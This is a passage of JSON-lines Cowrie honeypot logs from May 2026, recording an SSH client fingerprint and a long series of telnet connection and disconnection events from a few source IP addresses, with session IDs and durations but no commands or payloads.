istp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.062487Z","src_ip":"66.132.195.126","session":"1c903310b726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d192428c6a","protocol":"telnet","message":"New connection: 206.189.32.23:60228 (10.17.0.5:23) [session: 02d192428c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.253001Z"}
{"eventid":"cowrie.session.closed","duration":31.911333084106445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.448321Z","src_ip":"162.219.178.250","session":"2db0de8a47ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52104,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d54ac1e9892","protocol":"telnet","message":"New connection: 162.219.178.250:52104 (10.17.0.5:23) [session: 4d54ac1e9892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.558864Z"}
{"eventid":"cowrie.session.closed","duration":30.400813817977905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.563179Z","src_ip":"162.219.178.250","session":"ffaf0fbc6f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166276454925537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:37.144256Z","src_ip":"162.219.178.250","session":"a28b604146e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46082,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f70274da4f8","protocol":"telnet","message":"New connection: 162.219.178.250:46082 (10.17.0.5:23) [session: 0f70274da4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:39.053158Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56506,"dst_ip":"10.17.0.5","dst_port":23,"session":"9efd0cb72eb2","protocol":"telnet","message":"New connection: 162.219.178.250:56506 (10.17.0.5:23) [session: 9efd0cb72eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:39.246728Z"}
{"eventid":"cowrie.session.closed","duration":42.244627952575684,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:40.070490Z","src_ip":"188.208.141.113","session":"f3b35ec74e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36830,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e2065f87e9","protocol":"telnet","message":"New connection: 206.189.32.23:36830 (10.17.0.5:23) [session: e0e2065f87e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:40.704189Z"}
{"eventid":"cowrie.session.closed","duration":31.389283657073975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:42.297477Z","src_ip":"162.219.178.250","session":"cb9d237f15e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34156,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b78b211a64","protocol":"telnet","message":"New connection: 162.219.178.250:34156 (10.17.0.5:23) [session: 30b78b211a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:42.992187Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33354,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3a53bcbf4a","protocol":"telnet","message":"New connection: 162.219.178.250:33354 (10.17.0.5:23) [session: bb3a53bcbf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:43.327398Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60146,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c94fdec0b7","protocol":"telnet","message":"New connection: 162.219.178.250:60146 (10.17.0.5:23) [session: a6c94fdec0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:44.151208Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40562,"dst_ip":"10.17.0.5","dst_port":23,"session":"63cb82ded24c","protocol":"telnet","message":"New connection: 206.189.32.23:40562 (10.17.0.5:23) [session: 63cb82ded24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:44.201861Z"}
{"eventid":"cowrie.session.closed","duration":120.00141596794128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:45.904421Z","src_ip":"162.219.178.250","session":"4ab4a4b51265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542891263961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:46.931952Z","src_ip":"162.219.178.250","session":"271798bbb3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39420,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae0b0eb681a","protocol":"telnet","message":"New connection: 162.219.178.250:39420 (10.17.0.5:23) [session: 9ae0b0eb681a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:47.396787Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36107,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdcbabf419cb","protocol":"telnet","message":"New connection: 162.219.178.250:36107 (10.17.0.5:23) [session: fdcbabf419cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:47.659306Z"}
{"eventid":"cowrie.session.closed","duration":38.43975472450256,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:49.810000Z","src_ip":"188.208.141.113","session":"5310c8cd20f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56628,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ab99541957","protocol":"telnet","message":"New connection: 188.208.141.113:56628 (10.17.0.5:23) [session: 58ab99541957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:49.874135Z"}
{"eventid":"cowrie.session.closed","duration":30.445729970932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:49.896969Z","src_ip":"162.219.178.250","session":"bd5587fe8b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42972,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b76ec7e59aa","protocol":"telnet","message":"New connection: 162.219.178.250:42972 (10.17.0.5:23) [session: 3b76ec7e59aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:50.344249Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbffe42f82ae","protocol":"telnet","message":"New connection: 162.219.178.250:35942 (10.17.0.5:23) [session: fbffe42f82ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:50.751016Z"}
{"eventid":"cowrie.session.closed","duration":0.005306720733642578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:50.756196Z","src_ip":"162.219.178.250","session":"fbffe42f82ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:51.033551Z","src_ip":"66.132.195.126","session":"1c903310b726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.64950895309448,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:52.096725Z","src_ip":"162.219.178.250","session":"38f9c1a7ab42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43936,"dst_ip":"10.17.0.5","dst_port":23,"session":"428185344599","protocol":"telnet","message":"New connection: 162.219.178.250:43936 (10.17.0.5:23) [session: 428185344599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:52.213798Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39084,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7391d1be22","protocol":"telnet","message":"New connection: 162.219.178.250:39084 (10.17.0.5:23) [session: 7f7391d1be22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:53.165085Z"}
{"eventid":"cowrie.session.closed","duration":31.377545833587646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:53.980889Z","src_ip":"162.219.178.250","session":"19b88591e016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":48190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d026a502e0f0","protocol":"telnet","message":"New connection: 162.219.178.250:48190 (10.17.0.5:23) [session: d026a502e0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:55.285003Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae36a936e93","protocol":"telnet","message":"New connection: 162.219.178.250:40788 (10.17.0.5:23) [session: cae36a936e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:56.320605Z"}
{"eventid":"cowrie.session.closed","duration":0.005188941955566406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:56.325652Z","src_ip":"162.219.178.250","session":"cae36a936e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889934539794922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:57.620739Z","src_ip":"162.219.178.250","session":"0cbdadad20d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b71d47ea8b2","protocol":"telnet","message":"New connection: 162.219.178.250:50116 (10.17.0.5:23) [session: 6b71d47ea8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:58.095169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50382,"dst_ip":"10.17.0.5","dst_port":23,"session":"0355bb3178ae","protocol":"telnet","message":"New connection: 162.219.178.250:50382 (10.17.0.5:23) [session: 0355bb3178ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:58.306819Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49918,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb7f59753d1","protocol":"telnet","message":"New connection: 162.219.178.250:49918 (10.17.0.5:23) [session: 8eb7f59753d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:58.926623Z"}
{"eventid":"cowrie.session.closed","duration":31.66407608985901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:59.511064Z","src_ip":"162.219.178.250","session":"4074445abb1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.06925010681152,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:00.415783Z","src_ip":"206.189.32.23","session":"98fd63d408f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.55703854560852,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:00.956623Z","src_ip":"188.208.141.113","session":"0f03b9dc44f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189161300659,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:02.768594Z","src_ip":"162.219.178.250","session":"ba17972f4210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160884857177734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:03.006802Z","src_ip":"162.219.178.250","session":"87b671063c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd1e455c710","protocol":"telnet","message":"New connection: 188.208.141.113:41366 (10.17.0.5:23) [session: 5dd1e455c710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:04.919438Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60238,"dst_ip":"10.17.0.5","dst_port":23,"session":"585f8add1936","protocol":"telnet","message":"New connection: 162.219.178.250:60238 (10.17.0.5:23) [session: 585f8add1936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:05.607484Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38066,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac82787407ae","protocol":"telnet","message":"New connection: 206.189.32.23:38066 (10.17.0.5:23) [session: ac82787407ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:07.680474Z"}
{"eventid":"cowrie.session.closed","duration":31.594090223312378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:08.152860Z","src_ip":"162.219.178.250","session":"4d54ac1e9892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59660,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89664a775fb","protocol":"telnet","message":"New connection: 162.219.178.250:59660 (10.17.0.5:23) [session: a89664a775fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:11.624949Z"}
{"eventid":"cowrie.session.closed","duration":0.0047147274017333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:11.629580Z","src_ip":"162.219.178.250","session":"a89664a775fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.121365547180176,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:11.801738Z","src_ip":"206.189.32.23","session":"ac82787407ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40388,"dst_ip":"10.17.0.5","dst_port":23,"session":"baa6599598eb","protocol":"telnet","message":"New connection: 162.219.178.250:40388 (10.17.0.5:23) [session: baa6599598eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:12.208388Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57506,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a86063977a","protocol":"telnet","message":"New connection: 162.219.178.250:57506 (10.17.0.5:23) [session: 00a86063977a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:13.614841Z"}
{"eventid":"cowrie.session.closed","duration":30.6575288772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:13.649566Z","src_ip":"162.219.178.250","session":"30b78b211a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97896456718445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:14.306242Z","src_ip":"162.219.178.250","session":"bb3a53bcbf4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42888,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7db764ef9a","protocol":"telnet","message":"New connection: 162.219.178.250:42888 (10.17.0.5:23) [session: ba7db764ef9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:15.245008Z"}
{"eventid":"cowrie.session.closed","duration":31.261333227157593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:15.412415Z","src_ip":"162.219.178.250","session":"a6c94fdec0b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.578423500061035,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:15.831293Z","src_ip":"206.189.32.23","session":"02d192428c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00083589553833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:16.227198Z","src_ip":"162.219.178.250","session":"9ac3ad783f7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45732,"dst_ip":"10.17.0.5","dst_port":23,"session":"477a3e859583","protocol":"telnet","message":"New connection: 162.219.178.250:45732 (10.17.0.5:23) [session: 477a3e859583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:16.580583Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47038,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ee7963b2d9","protocol":"telnet","message":"New connection: 162.219.178.250:47038 (10.17.0.5:23) [session: d6ee7963b2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:17.597415Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42926,"dst_ip":"10.17.0.5","dst_port":23,"session":"106666c6119c","protocol":"telnet","message":"New connection: 162.219.178.250:42926 (10.17.0.5:23) [session: 106666c6119c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:18.253197Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59486,"dst_ip":"10.17.0.5","dst_port":23,"session":"f47dedae223f","protocol":"telnet","message":"New connection: 162.219.178.250:59486 (10.17.0.5:23) [session: f47dedae223f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:21.291451Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51702,"dst_ip":"10.17.0.5","dst_port":23,"session":"25ccc2208d0f","protocol":"telnet","message":"New connection: 162.219.178.250:51702 (10.17.0.5:23) [session: 25ccc2208d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:21.646075Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55856,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cedb7caebe6","protocol":"telnet","message":"New connection: 206.189.32.23:55856 (10.17.0.5:23) [session: 4cedb7caebe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:22.427861Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70b7348ca0a","protocol":"telnet","message":"New connection: 162.219.178.250:44424 (10.17.0.5:23) [session: b70b7348ca0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:22.571317Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51770,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c154d65f2e1","protocol":"telnet","message":"New connection: 162.219.178.250:51770 (10.17.0.5:23) [session: 2c154d65f2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:22.717234Z"}
{"eventid":"cowrie.session.closed","duration":31.19425368309021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:23.407949Z","src_ip":"162.219.178.250","session":"428185344599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00099635124207,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:23.729144Z","src_ip":"162.219.178.250","session":"57ec259c3c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d9ef9b7009","protocol":"telnet","message":"New connection: 206.189.32.23:54688 (10.17.0.5:23) [session: 91d9ef9b7009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:24.434484Z"}
{"eventid":"cowrie.session.closed","duration":30.401074647903442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:25.685983Z","src_ip":"162.219.178.250","session":"d026a502e0f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b93124149e","protocol":"telnet","message":"New connection: 162.219.178.250:55502 (10.17.0.5:23) [session: d6b93124149e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:25.742274Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e3b5bee2d4","protocol":"telnet","message":"New connection: 162.219.178.250:56228 (10.17.0.5:23) [session: 39e3b5bee2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:26.263596Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37582,"dst_ip":"10.17.0.5","dst_port":23,"session":"6067aaf320ac","protocol":"telnet","message":"New connection: 162.219.178.250:37582 (10.17.0.5:23) [session: 6067aaf320ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:26.415045Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57840,"dst_ip":"10.17.0.5","dst_port":23,"session":"62afad71b5e4","protocol":"telnet","message":"New connection: 162.219.178.250:57840 (10.17.0.5:23) [session: 62afad71b5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:26.460967Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52818,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bde0991e64f","protocol":"telnet","message":"New connection: 162.219.178.250:52818 (10.17.0.5:23) [session: 9bde0991e64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:26.638469Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec1228bfb5d6","protocol":"telnet","message":"New connection: 162.219.178.250:54252 (10.17.0.5:23) [session: ec1228bfb5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:26.733386Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"85dae954dac3","protocol":"telnet","message":"New connection: 188.208.141.113:42644 (10.17.0.5:23) [session: 85dae954dac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:26.981911Z"}
{"eventid":"cowrie.session.closed","duration":47.43719434738159,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:28.141252Z","src_ip":"206.189.32.23","session":"e0e2065f87e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60414,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9681baf32c7","protocol":"telnet","message":"New connection: 162.219.178.250:60414 (10.17.0.5:23) [session: c9681baf32c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:28.410513Z"}
